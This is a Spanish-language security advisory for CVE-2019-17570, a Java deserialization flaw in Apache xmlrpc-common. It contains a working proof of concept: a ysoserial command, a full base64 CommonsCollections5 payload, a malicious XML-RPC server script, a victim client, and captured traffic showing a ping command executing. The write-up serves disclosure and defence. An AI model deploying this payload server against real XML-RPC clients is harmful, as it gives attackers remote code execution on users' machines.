
Análisis técnico y exploit de prueba de concepto para CVE-2019-17570, una vulnerabilidad de deserialización de Java en Apache xmlrpc-common que permite la ejecución remota de código mediante respuestas maliciosas de servidores XML-RPC.
Esta nota es una nota técnica que detalla la causa raíz y el exploit asociado. Puedes encontrar la divulgación inicial aquí. El CVE asociado es CVE-2019-17570.
xmlrpc-common constituye una base de código compartida entre xmlrpc-client y xmlrpc-server. Se ha identificado una vulnerabilidad de deserialización en el método org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object). Permite que un servidor xmlrpc controlado por un atacante envíe una respuesta xmlrpc maliciosa, lo que provocará la ejecución remota de código en el cliente xmlrpc.
La deserialización se desencadena mediante el uso de fallos xmlrpc, que pueden contener un faultCause. El contenido de este nodo se procesa como un array de bytes, que posteriormente se deserializa a un objeto Java usando readObject():
protected void addResult(Object pResult) throws SAXException {
if (isSuccess) {
super.setResult(pResult);
} else {
Map map = (Map) pResult;
Integer faultCode = (Integer) map.get("faultCode");
if (faultCode == null) {
throw new SAXParseException("Missing faultCode", getDocumentLocator());
}
try {
errorCode = faultCode.intValue();
} catch (NumberFormatException e) {
throw new SAXParseException("Invalid faultCode: " + faultCode,
getDocumentLocator());
}
errorMessage = (String) map.get("faultString");
Object exception = map.get("faultCause");
if (exception != null) {
try {
byte[] bytes = (byte[]) exception;
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
errorCause = (Throwable) ois.readObject();
ois.close();
bais.close();
} catch (Throwable t) {
// Ignore me
}
}
}
}
Esta vulnerabilidad es diferente de CVE-2016-5003, que explota el tipo ex:serialized para desencadenar la deserialización. Esta nueva vulnerabilidad afecta a xmlrpc-common incluso en su configuración predeterminada, con extensiones deshabilitadas.
Si bien la vulnerabilidad está en xmlrpc-common, la explotación requiere el uso de una cadena de gadgets para lograr la ejecución remota de código. La cadena de gadgets depende de las clases disponibles en el classpath. Para fines de demostración, nuestra prueba de concepto ha agregado Apache commons-collections-3.2.1 en el classpath, y la cadena de gadgets se ha generado usando ysoserial.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Un atacante puede ejecutar código arbitrario en el contexto de un cliente xmlrpc que utilice versiones vulnerables de xmlrpc-common.
Nuestra prueba de concepto emplea un cliente de prueba xmlrpc escrito a propósito y un servidor xmlrpc controlado por un atacante.
El propósito principal de este servidor es entregar la carga útil serializada al cliente vulnerable. La carga útil serializada se ha creado usando:
$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
El servidor en sí es bastante simple y consiste principalmente en:
def create_fault_deser(payload):
return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>1337</int></value>
</member>
<member>
<name>faultString</name>
<value><string>You have been pwned</string></value>
</member>
<member>
<name>faultCause</name>
<value><base64>%s</base64></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
''' % (payload)
class Handler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.send_header('Content-Type', 'text/xml')
self.end_headers()
self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))
httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()
La variable PING_COMMONS_COLLECTIONS utilizada anteriormente se establece en la salida del comando ysoserial.
El código fuente de nuestro cliente de prueba es:
package poc.xmlrpcdeser;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;
public class VulnerableClient {
public static void main(String[] args) throws MalformedURLException, XmlRpcException {
String domainName = "http://127.0.0.1:8888";
String serverurl = domainName + "/RPC2";
XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
config.setServerURL(new URL(serverurl));
XmlRpcClient client = new XmlRpcClient();
client.setConfig(config);
Object[] params = new Object[]{"test", "'tell me you are alive' 1337"};
Object result = (Object) client.execute("xmlrpc-api", params);
}
}
Una vez compilado usando make, desencadena la ejecución del código mediante:
$ java -jar target/VulnerableClient-1.0-SNAPSHOT-jar-with-dependencies.jar
La carga útil maliciosa se entrega a la víctima inocente:
$ ./xmlrpc-server.py
127.0.0.1 - - [redacted] "POST /RPC2 HTTP/1.1" 200 -
Nuestro cliente de prueba falla:
Exception in thread "main" org.apache.xmlrpc.XmlRpcException: You have been pwned
at org.apache.xmlrpc.client.XmlRpcStreamTransport.readResponse(XmlRpcStreamTransport.java:205)
at org.apache.xmlrpc.client.XmlRpcStreamTransport.sendRequest(XmlRpcStreamTransport.java:156)
at org.apache.xmlrpc.client.XmlRpcHttpTransport.sendRequest(XmlRpcHttpTransport.java:143)
at org.apache.xmlrpc.client.XmlRpcSunHttpTransport.sendRequest(XmlRpcSunHttpTransport.java:69)
at org.apache.xmlrpc.client.XmlRpcClientWorker.execute(XmlRpcClientWorker.java:56)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:167)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:137)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:126)
at poc.xmlrpcdeser.VulnerableClient.main(VulnerableClient.java:21)
Caused by: BadAttributeValueException: foo=1
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Caused by:
BadAttributeValueException: foo=1
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Pero la carga útil ping www.google.com se ejecuta:
1 0.000000 127.0.0.1 → 127.0.0.1 TCP 64 49378 → 8888 [SYN]
3 0.000084 127.0.0.1 → 127.0.0.1 TCP 64 8888 → 49378 [SYN, ACK]
5 0.000092 127.0.0.1 → 127.0.0.1 TCP 52 49378 → 8888 [ACK]
11 0.001955 127.0.0.1 → 127.0.0.1 HTTP/XML 259 POST /RPC2 HTTP/1.1
25 0.002905 127.0.0.1 → 127.0.0.1 HTTP/XML 52 HTTP/1.0 200 OK
29 0.133997 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request id=0x1528, seq=0/0, ttl=64
34 0.149668 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply id=0x1528, seq=0/0, ttl=51 (request in 29)
35 1.139284 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request id=0x1528, seq=1/256, ttl=64
36 1.153082 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply id=0x1528, seq=1/256, ttl=51 (request in 35)
Ten en cuenta que la salida de tshark se ha redactado para no mostrar paquetes inútiles.
2019-11-19: Apache informado por correo electrónico 2019-11-19: Apache XML-RPC ya no se mantiene activamente 2019-11-21: Red Hat informado por correo electrónico 2019-11-22: Vulnerabilidad reasignada al proyecto Apache 2020-01-06: Distro OSS security informado por correo electrónico 2020-01-16: Vulnerabilidad publicada en la lista de correo de seguridad de OSS 2020-01-24: Detalles de la vulnerabilidad y prueba de concepto publicados en github.com
Guillaume TEISSIER (Orange) Orange group
xmlrpc-common constituye la base de xmlrpc, y solo unos pocos artefactos hacen referencia a él. Pero observando los usuarios del cliente xmlrpc, encontramos 124 artefactos que integran xmlrpc-common de forma transitiva.
La vulnerabilidad afecta al menos a las siguientes versiones:
Las siguientes versiones son inmunes a esta vulnerabilidad, ya que no realizan la búsqueda de faultCause en la respuesta recibida: